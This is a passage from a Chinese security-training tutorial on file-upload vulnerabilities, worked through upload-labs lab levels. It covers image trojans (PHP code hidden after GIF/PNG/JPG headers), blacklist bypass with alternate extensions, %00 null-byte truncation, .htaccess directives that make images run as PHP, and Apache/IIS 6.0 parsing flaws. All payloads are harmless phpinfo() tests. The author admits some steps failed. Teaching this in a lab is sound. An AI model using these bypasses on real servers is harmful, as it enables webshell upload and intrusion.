  <h3>8.5.2:服务器端检测——文件内容</h3> 
  <p>除了检测上传文件的Content-Type类型,为了保持安全性,服务器端还会检测文件内容。PHP中有一个函数getimagesize(),这个函数本意是检查图片的大小,但是在检查之前,该函数会判断目标文件是否是一张图片。因此,可以用该函数来检测文件的内容。</p> 
  <p>14关的关键源码:</p> 
  <pre><code class="prism language-php"><span class="token keyword">function</span> <span class="token function">isImage</span><span class="token punctuation">(</span><span class="token variable">$filename</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
	<span class="token variable">$types</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'.jpeg|.png|.gif'</span><span class="token punctuation">;</span>
	<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">file_exists</span><span class="token punctuation">(</span><span class="token variable">$filename</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
		<span class="token variable">$info</span> <span class="token operator">=</span> <span class="token function">getimagesize</span><span class="token punctuation">(</span><span class="token variable">$filename</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
		<span class="token variable">$ext</span> <span class="token operator">=</span> <span class="token function">image_type_to_extension</span><span class="token punctuation">(</span><span class="token variable">$info</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
		<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">stripos</span><span class="token punctuation">(</span><span class="token variable">$types</span><span class="token punctuation">,</span><span class="token variable">$ext</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
			<span class="token keyword">return</span> <span class="token variable">$ext</span><span class="token punctuation">;</span>
		<span class="token punctuation">}</span><span class="token keyword">else</span><span class="token punctuation">{</span>
			<span class="token keyword">return</span> <span class="token constant boolean">false</span><span class="token punctuation">;</span>
		<span class="token punctuation">}</span>
	<span class="token punctuation">}</span><span class="token keyword">else</span><span class="token punctuation">{</span>
		<span class="token keyword">return</span> <span class="token constant boolean">false</span><span class="token punctuation">;</span>
	<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
</code></pre> 
  <p>对于文件内容检测,我们可以通过制作上传图片木马绕过。</p> 
  <h4>8.5.2.1 三种方法制作图片木马</h4> 
  <p><strong>1:GIF89a</strong><br> 新建一个info.gif文件<br> 文件内容为:</p> 
  <pre><code class="prism language-php">GIF89a
<span class="token operator"><</span><span class="token operator">?</span>php
<span class="token function">phpinfo</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token operator">?</span><span class="token operator">></span>
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/666ca53c8cd54b70bf94c36cfd95dc57.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/666ca53c8cd54b70bf94c36cfd95dc57.png" alt="054 webshell介绍与文件上传漏洞_第50张图片" width="486" height="137" style="border:1px solid black;"></a></p> 
  <p><strong>2:copy smile.jpg/b+info.php/a smile_info.jpg</strong><br> 准备任意一张图片,任意取名smile.jpg<br> 然后准备一个info.php,内容:</p> 
  <pre><code class="prism language-php"><span class="token delimiter important"><?php</span>
<span class="token function">phpinfo</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token operator">?</span><span class="token operator">></span>
</code></pre> 
  <p>此时把这两个文件都放在桌面上。<br> <a href="http://img.e-com-net.com/image/info8/4490ba52172e4c7389e67bfc166c2ab2.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/4490ba52172e4c7389e67bfc166c2ab2.jpg" alt="054 webshell介绍与文件上传漏洞_第51张图片" width="650" height="288" style="border:1px solid black;"></a><br> 这样就生成了图片木马smile_info.jpg了。可以右键用Notepad++打开,能看到php代码<br> <a href="http://img.e-com-net.com/image/info8/e68cf3789e494e0a9afa8c76990747c6.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/e68cf3789e494e0a9afa8c76990747c6.jpg" alt="054 webshell介绍与文件上传漏洞_第52张图片" width="650" height="204" style="border:1px solid black;"></a></p> 
  <p><strong>3:文件幻术</strong><br> 利用十六进制编辑器,我们知道所有的jpg图片的文件头部都是相同的,Png和gif图片也是一样。</p> 
  <pre><code class="prism language-powershell">png 	89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
jpg 	FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C
gif 	47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33
</code></pre> 
  <p>复制上述任意格式的十六进制码放到Notepad++里面,然后选择,插件,converter,hex->ascii然后回车另起一行,输入php代码<br> <a href="http://img.e-com-net.com/image/info8/3de284a6954f44f4ad11c4f465163b81.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/3de284a6954f44f4ad11c4f465163b81.jpg" alt="054 webshell介绍与文件上传漏洞_第53张图片" width="462" height="295" style="border:1px solid black;"></a><br> 把png_php.png放入C:\phpStudy\WWW\upload-labs\upload目录下,然后浏览器可以成功访问该文件。<br> <a href="http://img.e-com-net.com/image/info8/ca3e42a6de054798970d3ab89142aed1.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/ca3e42a6de054798970d3ab89142aed1.jpg" alt="054 webshell介绍与文件上传漏洞_第54张图片" width="650" height="233" style="border:1px solid black;"></a><br>  </p> 
  <h4>8.5.2.2:upload-load 第14关:步骤</h4> 
  <p><em>这里的第14关,其实是15关,因为这是之前只有19关的版本,后来重新上传了一个新版本的,<br> 因为插入一个新的Pass-05,其余Pass编号依次往后递增</em></p> 
  <p>先上传一个info.php文件,并进行BP抓包<br> <a href="http://img.e-com-net.com/image/info8/56d7d38a1d9e47fca79b7c0645c79cb9.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/56d7d38a1d9e47fca79b7c0645c79cb9.jpg" alt="054 webshell介绍与文件上传漏洞_第55张图片" width="650" height="349" style="border:1px solid black;"></a><br> 选中所有数据,右键发送到repeater<br> 点击重发器,再点击发送,把右边滚动条滑到最下边<br> <a href="http://img.e-com-net.com/image/info8/79c0be21537e4a679f6e9f300954c755.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/79c0be21537e4a679f6e9f300954c755.jpg" alt="054 webshell介绍与文件上传漏洞_第56张图片" width="650" height="515" style="border:1px solid black;"></a><br> 发现内容:提示:文件位置,上传失败!<br> 这时候我们修改filename和content-type的值。并重新发送。<br> <a href="http://img.e-com-net.com/image/info8/b83cac8e6567497db4b53e1f596e103f.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/b83cac8e6567497db4b53e1f596e103f.jpg" alt="054 webshell介绍与文件上传漏洞_第57张图片" width="650" height="507" style="border:1px solid black;"></a><br> 发现还是不能上传文件,这时候我们就怀疑会检测文件内容。<br> 这时候我们把准备好的图片木马info.gif进行上传。<br> <a href="http://img.e-com-net.com/image/info8/bfa6542cf8334fb19852c32b82fa0599.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/bfa6542cf8334fb19852c32b82fa0599.jpg" alt="054 webshell介绍与文件上传漏洞_第58张图片" width="650" height="500" style="border:1px solid black;"></a><br> 此时,文件已经上传成功了<br> <a href="http://img.e-com-net.com/image/info8/94459f5a62f64c2c8459f49a376ce552.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/94459f5a62f64c2c8459f49a376ce552.jpg" alt="054 webshell介绍与文件上传漏洞_第59张图片" width="650" height="196" style="border:1px solid black;"></a><br>  </p> 
  <h3>8.5.3:服务器端检测——后缀名</h3> 
  <p>服务器端还会检测文件后缀名。<br> 服务器端在检测文件名的时候,依然会采用黑白名单策略。黑名单策略,不允许上传php|asp|aspx|jsp…等可执行脚本的文件;<br> 白名单策略,只允许上传jpg|gif|png|doc|rar…等格式的文件。</p> 
  <p><strong>黑名单</strong><br> 代码中$deny_ext数据就是一个黑名单,数组元素就是不允许上传的类型。<br> 对于黑名单,我们可以寻找其他可允许上传的类型来绕过限制。<br> 可以执行脚本后缀名:</p> 
  <pre><code class="prism language-powershell">php:<span class="token punctuation">.</span>php <span class="token punctuation">.</span>php2 <span class="token punctuation">.</span>php3 <span class="token punctuation">.</span>php5 <span class="token punctuation">.</span>phtml
asp:<span class="token punctuation">.</span>asp <span class="token punctuation">.</span>aspx <span class="token punctuation">.</span>ascx <span class="token punctuation">.</span>ashx <span class="token punctuation">.</span>asa <span class="token punctuation">.</span>cer
jsp:<span class="token punctuation">.</span>jsp <span class="token punctuation">.</span>jspx
</code></pre> 
  <p><strong>白名单</strong><br> 对于后缀名白名单策略,我们只能上传处在白名单内的文件后缀名。</p> 
  <p>实验:新建info.php2,info.php3,info.phtml<br> 内容均为:</p> 
  <pre><code class="prism language-php"><span class="token delimiter important"><?php</span>
<span class="token function">phpinfo</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token operator">?</span><span class="token operator">></span>
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/3a95b3c41e7540a3a2076257a5e22c5d.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/3a95b3c41e7540a3a2076257a5e22c5d.jpg" alt="054 webshell介绍与文件上传漏洞_第60张图片" width="650" height="415" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/68c34b2e3985448fb3ea04472c8c2eea.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/68c34b2e3985448fb3ea04472c8c2eea.jpg" alt="054 webshell介绍与文件上传漏洞_第61张图片" width="646" height="208" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/ea9293bb6c1b4c9f8c92c0c82f0bccd0.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/ea9293bb6c1b4c9f8c92c0c82f0bccd0.jpg" alt="054 webshell介绍与文件上传漏洞_第62张图片" width="650" height="194" style="border:1px solid black;"></a><br> 这里翻车,均没有显示页面。。。。。大概的用法就是这样的</p> 
  <p> <br>  </p> 
  <h2>8.6:00截断</h2> 
  <p>00就是Null(空)字符,URL中表现为%00,00截断会导致文件上传路径截断。我们以upload-labs第十一关为例子说明这个问题:<br> 关键代码:</p> 
  <pre><code class="prism language-php"><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'submit'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
	<span class="token variable">$ext_arr</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'jpg'</span><span class="token punctuation">,</span><span class="token string single-quoted-string">'png'</span><span class="token punctuation">,</span><span class="token string single-quoted-string">'gif'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
	<span class="token variable">$file_ext</span> <span class="token operator">=</span> <span class="token function">substr</span><span class="token punctuation">(</span><span class="token variable">$_FILES</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'upload_file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token function">strrpos</span><span class="token punctuation">(</span><span class="token variable">$_FILES</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'upload_file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string double-quoted-string">"."</span><span class="token punctuation">)</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
	<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">in_array</span><span class="token punctuation">(</span><span class="token variable">$file_ext</span><span class="token punctuation">,</span><span class="token variable">$ext_arr</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
		<span class="token variable">$temp_file</span> <span class="token operator">=</span> <span class="token variable">$_FILES</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'upload_file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'tmp_name'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
		<span class="token variable">$img_path</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'save_path'</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token string double-quoted-string">"/"</span><span class="token operator">.</span><span class="token function">rand</span><span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">,</span> <span class="token number">99</span><span class="token punctuation">)</span><span class="token operator">.</span><span class="token function">date</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"YmdHis"</span><span class="token punctuation">)</span><span class="token operator">.</span><span class="token string double-quoted-string">"."</span><span class="token operator">.</span><span class="token variable">$file_ext</span><span class="token punctuation">;</span>
		<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">move_uploaded_file</span><span class="token punctuation">(</span><span class="token variable">$temp_file</span><span class="token punctuation">,</span><span class="token variable">$img_path</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
			<span class="token variable">$is_upload</span> <span class="token operator">=</span> <span class="token constant boolean">true</span><span class="token punctuation">;</span>
		<span class="token punctuation">}</span>
		<span class="token keyword">else</span><span class="token punctuation">{</span>
			<span class="token variable">$msg</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'上传失败!'</span><span class="token punctuation">;</span>
		<span class="token punctuation">}</span>
	<span class="token punctuation">}</span>
	<span class="token keyword">else</span><span class="token punctuation">{</span>
		<span class="token variable">$msg</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"只允许上传.jpg|.png|.gif类型文件!"</span><span class="token punctuation">;</span>
	<span class="token punctuation">}</span>
<span class="token punctuation">}</span>


补充知识点:
			上述代码中的substr函数与strrpos函数
<span class="token constant">PHP</span> <span class="token function">strrpos</span><span class="token punctuation">(</span><span class="token punctuation">)</span> 函数
<span class="token function">strrpos</span><span class="token punctuation">(</span><span class="token punctuation">)</span> 函数查找字符串在另一字符串中最后一次出现的位置。
注释:<span class="token function">strrpos</span><span class="token punctuation">(</span><span class="token punctuation">)</span> 函数对大小写敏感。
<span class="token operator"><</span><span class="token operator">!</span><span class="token constant">DOCTYPE</span> html<span class="token operator">></span>
<span class="token operator"><</span>html<span class="token operator">></span>
	<span class="token operator"><</span>body<span class="token operator">></span>
		<span class="token operator"><</span><span class="token operator">?</span>php
			<span class="token keyword">echo</span> <span class="token function">strrpos</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"You love php, I love php too!"</span><span class="token punctuation">,</span><span class="token string double-quoted-string">"php"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
		<span class="token operator">?</span><span class="token operator">></span> 
	<span class="token operator"><</span><span class="token operator">/</span>body<span class="token operator">></span>
<span class="token operator"><</span><span class="token operator">/</span>html<span class="token operator">></span>
结果<span class="token number">21</span>

<span class="token constant">PHP</span> <span class="token function">substr</span><span class="token punctuation">(</span><span class="token punctuation">)</span> 函数
<span class="token function">substr</span><span class="token punctuation">(</span><span class="token keyword type-declaration">string</span><span class="token punctuation">,</span>start<span class="token punctuation">,</span>length<span class="token punctuation">)</span>
<span class="token function">substr</span><span class="token punctuation">(</span><span class="token punctuation">)</span> 函数返回字符串的一部分。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 <span class="token number">0</span>。
<span class="token operator"><</span><span class="token operator">!</span><span class="token constant">DOCTYPE</span> html<span class="token operator">></span>
<span class="token operator"><</span>html<span class="token operator">></span>
	<span class="token operator"><</span>body<span class="token operator">></span>
		<span class="token operator"><</span><span class="token operator">?</span>php
			<span class="token keyword">echo</span> <span class="token function">substr</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"Hello world"</span><span class="token punctuation">,</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
		<span class="token operator">?</span><span class="token operator">></span>  
	<span class="token operator"><</span><span class="token operator">/</span>body<span class="token operator">></span>
<span class="token operator"><</span><span class="token operator">/</span>html<span class="token operator">></span>
</code></pre> 
  <h3>8.6.1:upload-labs 第十一关:步骤</h3> 
  <p><em>这里的第11关,其实是12关,因为这是之前只有19关的版本,后来重新上传了一个新版本的,<br> 因为插入一个新的Pass-05,其余Pass编号依次往后递增</em></p> 
  <p>环境准备:win2008<br> burp suite<br> 在win2008上搭建好upload-labs,进入pass-11,上传一个info.php文件。文件内容:<code><?php phpinfo();?></code>,再点击上传之前开启bp抓包。会得到下图内容:<br> <a href="http://img.e-com-net.com/image/info8/f7fff7485ca4418f818faf37e4b72ae2.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/f7fff7485ca4418f818faf37e4b72ae2.jpg" alt="054 webshell介绍与文件上传漏洞_第63张图片" width="650" height="398" style="border:1px solid black;"></a><br> 直接放包。<br> 然后点击浏览器中的上传按钮,重新抓包,得到如下内容:<br> <a href="http://img.e-com-net.com/image/info8/d3c68e81e21843ba8feae4c21c249e23.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/d3c68e81e21843ba8feae4c21c249e23.jpg" alt="054 webshell介绍与文件上传漏洞_第64张图片" width="650" height="634" style="border:1px solid black;"></a><br> 选中所有内容,右键发送到repeater。然后再次点击拦截请求,把这个包放过。<br> 然后,切换到重发器,点击发送。如下图,<br> <a href="http://img.e-com-net.com/image/info8/a26ad7c6743f4a87933bd8f702f45837.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/a26ad7c6743f4a87933bd8f702f45837.jpg" alt="054 webshell介绍与文件上传漏洞_第65张图片" width="650" height="488" style="border:1px solid black;"></a><br> 发现只能上传jpg,png,gif类型文件。所以我们把info.php后缀名改为gif,在phpStudy\WWW\upload-labs目录下创建一个upload文件夹(有些可以自动创建,有些不行,不行的话就手动创建下)。<br> <a href="http://img.e-com-net.com/image/info8/f285582e7b1648e9a895d0edd75e3976.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/f285582e7b1648e9a895d0edd75e3976.jpg" alt="054 webshell介绍与文件上传漏洞_第66张图片" width="650" height="505" style="border:1px solid black;"></a><br> 修改保存路径:<br> <a href="http://img.e-com-net.com/image/info8/d819abfd510a46acacff8e0a2fdee5af.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/d819abfd510a46acacff8e0a2fdee5af.jpg" alt="054 webshell介绍与文件上传漏洞_第67张图片" width="650" height="429" style="border:1px solid black;"></a><br> 那么怎么才能把upload后面的看作是文件名,而不是文件夹名呢?<br> 那就需要用到00截断了,在test.php后面加上%00<br> 如下图:<br> <a href="http://img.e-com-net.com/image/info8/149a1d84a37d454ba329f4e65822cabc.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/149a1d84a37d454ba329f4e65822cabc.png" alt="在这里插入图片描述" width="270" height="57"></a><br> 这里翻车了。还不知道是为啥?百度了很久也没有解决,更换了php版本,也尝试了网上的这个方法:<br> php关闭magic_quotes_gpc的方法:1、将php.ini的“magic_quotes_gpc”设置为Off;2、在“.htaccess”里写入“php_value magic_quotes_gpc Off”。也更换了靶机,换成了win10。然后也换了新的upload文件。。。。。最后没能解决。不过却发现新的upload-labs文件好用些。解压之后直接放到phpStudy\WWW目录下就可以用。并且不会出现页面报错和卡顿。新的下载地址:点我 ,前面的下载地址也已同步更新。<br> (访问密码:QJBa4w)<br> <a href="http://img.e-com-net.com/image/info8/e95f649a5a7843f38df973a609f38b7f.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/e95f649a5a7843f38df973a609f38b7f.jpg" alt="054 webshell介绍与文件上传漏洞_第68张图片" width="650" height="179" style="border:1px solid black;"></a><br> 先假装成功了。<br> 接下来:看下视频截图。查看%00后面的gif文件,发现 Not Found<br> <a href="http://img.e-com-net.com/image/info8/fcc2d1eccd9b4bf48cf57e65b39d459d.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/fcc2d1eccd9b4bf48cf57e65b39d459d.jpg" alt="054 webshell介绍与文件上传漏洞_第69张图片" width="650" height="114" style="border:1px solid black;"></a><br> 然后直接查看test.php文件。<br> <a href="http://img.e-com-net.com/image/info8/856423534f104ad7ae39ed9eb98d5300.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/856423534f104ad7ae39ed9eb98d5300.jpg" alt="054 webshell介绍与文件上传漏洞_第70张图片" width="650" height="185" style="border:1px solid black;"></a><br>  <br>  </p> 
  <h2>8.7:.htaccess攻击</h2> 
  <p>.htaccess是apache服务器的分布式配置文件,该配置文件会覆盖apache服务器的全局配置,作用域是当前目录及其子目录。<br> 如果一个web应用允许上传.htaccess文件,那就意味着攻击者可以更改apache的配置,这是十分危险的。<br> .htaccess攻击想象空间非常大。</p> 
  <p> </p> 
  <h3>8.7.1:将.png文件当作php文件解析</h3> 
  <p>首先查看apache的配置,是否允许.htaccess文件覆盖掉apache的配置。<br> 打开目录:D:\phpStudy\Apache\conf下的httpd.conf文件,查看如下内容,则表示允许。</p> 
  <pre><code>DocumentRoot  "D:\phpStudy\WWW"
<Directory />
	Options +Indexes +FollowSymLinks +ExecCGI
	AllowOverride All
	Order allow,deny
	Allow from all
	Require all granted
</Directory>
</code></pre> 
  <p>因为.htaccess的作用域是当前作用域是当前目录及其子目录。所以我们在D:\phpStudy\WWW\upload-labs-master\upload这个目录下创建.htaccess。这个upload文件夹是我们的上传文件的地方。</p> 
  <p>首先创建文件.htaccess文件,但是会报错。因为windows不允许在文件命名时在”.”前面没有字符。所以,我们可以现在upload目录下,先创建1.txt文件,里面写入AddType application/x-httpd-php .png</p> 
  <p>这句话的意思是:将.png文件当作php文件进行解析</p> 
  <p>然后利用DOS命令:copy d:\phpStudy\WWW\upload-labs-master\upload\1.txt d:\phpStudy\WWW\upload-labs-master\upload.htaccess就能生成.htaccess文件了。</p> 
  <p>再在upload目录下创建一个info.png文件。文件内容是<code><?php phpinfo();?></code><br> <a href="http://img.e-com-net.com/image/info8/3244cdd2e1d948a489899ed122131793.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/3244cdd2e1d948a489899ed122131793.png" alt="054 webshell介绍与文件上传漏洞_第71张图片" width="580" height="249" style="border:1px solid black;"></a><br> 此时,当我们访问png图片文件的时候,显示的却是php页面,如下图<br> <a href="http://img.e-com-net.com/image/info8/c3285922efdc40aca2ce896a0e7e6dde.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/c3285922efdc40aca2ce896a0e7e6dde.jpg" alt="054 webshell介绍与文件上传漏洞_第72张图片" width="650" height="230" style="border:1px solid black;"></a></p> 
  <p> </p> 
  <h3>8.7.2:文件名中包含php关键字</h3> 
  <p>在.htaccess文件中加入:AddHandler php5-script php</p> 
  <p>当文件名[info.php.jpg]中包含关键字[.php],并且.htaccess文件内容如下,info.php.jpg中的代码会被执行。<br> <a href="http://img.e-com-net.com/image/info8/9f750ebe5467459bb59106a0d32bb300.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/9f750ebe5467459bb59106a0d32bb300.png" alt="054 webshell介绍与文件上传漏洞_第73张图片" width="602" height="328" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/e47cb687bf9e4c69bd94452a84cb24c0.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/e47cb687bf9e4c69bd94452a84cb24c0.png" alt="054 webshell介绍与文件上传漏洞_第74张图片" width="605" height="166" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/7e95699bd3a74055a29a6caf0b736a92.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/7e95699bd3a74055a29a6caf0b736a92.jpg" alt="054 webshell介绍与文件上传漏洞_第75张图片" width="650" height="199" style="border:1px solid black;"></a></p> 
  <h3>8.7.3:匹配文件名</h3> 
  <p>以下配置是匹配文件名[abc],找到该文件,并执行其中的PHP代码</p> 
  <pre><code><FilesMatch "abc">
SetHandler application/x-httpd-php
</FilesMatch>
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/44da116955c2448d92f455859cb1247e.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/44da116955c2448d92f455859cb1247e.jpg" alt="054 webshell介绍与文件上传漏洞_第76张图片" width="650" height="260" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/136f3e77d8fb45098858e908772518ce.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/136f3e77d8fb45098858e908772518ce.jpg" alt="054 webshell介绍与文件上传漏洞_第77张图片" width="650" height="206" style="border:1px solid black;"></a><br> <a href="http://img.e-com-net.com/image/info8/db49d044b29541938089ee15b8a96787.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/db49d044b29541938089ee15b8a96787.jpg" alt="054 webshell介绍与文件上传漏洞_第78张图片" width="650" height="183" style="border:1px solid black;"></a><br>  </p> 
  <h3>8.7.4:.htaccess攻击的应用 upload-labs第四:步骤</h3> 
  <p><a href="http://img.e-com-net.com/image/info8/456b1247f9704cfdae83232b315db372.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/456b1247f9704cfdae83232b315db372.jpg" alt="054 webshell介绍与文件上传漏洞_第79张图片" width="650" height="479" style="border:1px solid black;"></a><br> 然后进入第四关,先上传.htaccess文件<br> <a href="http://img.e-com-net.com/image/info8/b1f0abd5d1644f19afa10e9d48c5b27f.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/b1f0abd5d1644f19afa10e9d48c5b27f.jpg" alt="054 webshell介绍与文件上传漏洞_第80张图片" width="650" height="223" style="border:1px solid black;"></a><br> 再上传abc.txt文件<br> <a href="http://img.e-com-net.com/image/info8/3ccd251f030945179b8b74a8186b084c.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/3ccd251f030945179b8b74a8186b084c.jpg" alt="054 webshell介绍与文件上传漏洞_第81张图片" width="650" height="210" style="border:1px solid black;"></a><br> 然后进入upload路径下,访问abc.txt<br> <a href="http://img.e-com-net.com/image/info8/981c798a73ea4b3c8d562727daae9791.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/981c798a73ea4b3c8d562727daae9791.jpg" alt="054 webshell介绍与文件上传漏洞_第82张图片" width="650" height="231" style="border:1px solid black;"></a><br>  <br>  </p> 
  <h2>8.8:web容器解析漏洞</h2> 
  <p>web容器解析漏洞,就是web容器在解析脚本出现的"bug"</p> 
  <h3>8.8.1:apache解析漏洞</h3> 
  <p>创建一个info.xxx.xx.x文件,内容为<code><?php phpinfo();?></code><br> <a href="http://img.e-com-net.com/image/info8/efb11b72868b4d46a2ac23a916db1cca.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/efb11b72868b4d46a2ac23a916db1cca.jpg" alt="054 webshell介绍与文件上传漏洞_第83张图片" width="650" height="282" style="border:1px solid black;"></a><br> 然后浏览器直接打开访问该文件。即可显示页面,但是我自己没有成功,视频成功了。不知道是啥原因,可能版本问题吧。</p> 
  <h3>8.8.2:IIS6.0解析漏洞</h3> 
  <pre><code>asp;.jpg格式:
	time.asp;.jpg
1.asp文件夹下的time.jpg文件
	1.asp/time.jpg
</code></pre> 
  <p>需要用到浏览器6.0版本,此时,我们以2003为实验点。<br> 先在win2003上搭建好iis——web服务。<br> 如下图创建文件夹和文件<br> <a href="http://img.e-com-net.com/image/info8/e2a33a03c144435d9521b08af2a8faec.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/e2a33a03c144435d9521b08af2a8faec.jpg" alt="054 webshell介绍与文件上传漏洞_第84张图片" width="650" height="289" style="border:1px solid black;"></a><br> 然后浏览器访问,访问成功<br> <a href="http://img.e-com-net.com/image/info8/6e7004d536da44b9bc9dd2ffcc171942.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/6e7004d536da44b9bc9dd2ffcc171942.png" alt="054 webshell介绍与文件上传漏洞_第85张图片" width="451" height="160" style="border:1px solid black;"></a><br> 然后复制文件,并重命名time.asp;.jpg<br> <a href="http://img.e-com-net.com/image/info8/1332477385a145b5b3a24aef43402b26.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/1332477385a145b5b3a24aef43402b26.png" alt="在这里插入图片描述" width="360" height="100"></a><br> 浏览器访问.jpg图片文件,运行成功<br> <a href="http://img.e-com-net.com/image/info8/adeb7ceb1bcb4fd3bbfe6b84fd14e4d3.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/adeb7ceb1bcb4fd3bbfe6b84fd14e4d3.png" alt="054 webshell介绍与文件上传漏洞_第86张图片" width="368" height="149" style="border:1px solid black;"></a><br> 另一种方法:<br> 如下图创建文件夹1.asp,并在该文件夹中创建time.jpg(内容和time.asp一样)<br> <a href="http://img.e-com-net.com/image/info8/2e526e7920bc4788804784c772f1265a.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/2e526e7920bc4788804784c772f1265a.png" alt="054 webshell介绍与文件上传漏洞_第87张图片" width="606" height="166" style="border:1px solid black;"></a><br> 浏览器访问,点击1.asp<br> <a href="http://img.e-com-net.com/image/info8/126fee833e1a4c4494b47d48069f87bd.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/126fee833e1a4c4494b47d48069f87bd.png" alt="054 webshell介绍与文件上传漏洞_第88张图片" width="622" height="289" style="border:1px solid black;"></a><br> 页面无法显示<br> <a href="http://img.e-com-net.com/image/info8/908fe25f50c0472da000b0f355a3148f.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/908fe25f50c0472da000b0f355a3148f.png" alt="054 webshell介绍与文件上传漏洞_第89张图片" width="397" height="408" style="border:1px solid black;"></a><br> 直接在地址栏输入time.jpg,显示成功<br> <a href="http://img.e-com-net.com/image/info8/c365c6b374b04caf8658699d82fb57cb.png" target="_blank"><img src="http://img.e-com-net.com/image/info8/c365c6b374b04caf8658699d82fb57cb.png" alt="054 webshell介绍与文件上传漏洞_第90张图片" width="314" height="157" style="border:1px solid black;"></a></p> 
